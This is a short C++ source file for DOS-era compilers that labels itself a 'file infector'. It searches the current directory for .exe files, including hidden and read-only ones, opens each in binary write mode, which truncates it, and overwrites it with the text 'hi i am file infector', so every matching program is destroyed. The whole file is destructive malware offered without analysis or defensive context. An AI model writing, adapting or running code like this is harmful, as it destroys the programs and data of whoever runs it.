#include<iostream.h>
#include<dir.h>
#include<dos.h>
#include<fstream.h>
void main()
{
struct ffblk f;
int done;
ofstream file;
done = findfirst("*.exe", &f , FA_HIDDEN | FA_RDONLY);
while(!done)
{
cout<<f.ff_name<<endl;
file.open(f.ff_name,ios::binary);
file<<"hi i am file infector";
file.close();
done = findnext(&f);
}
}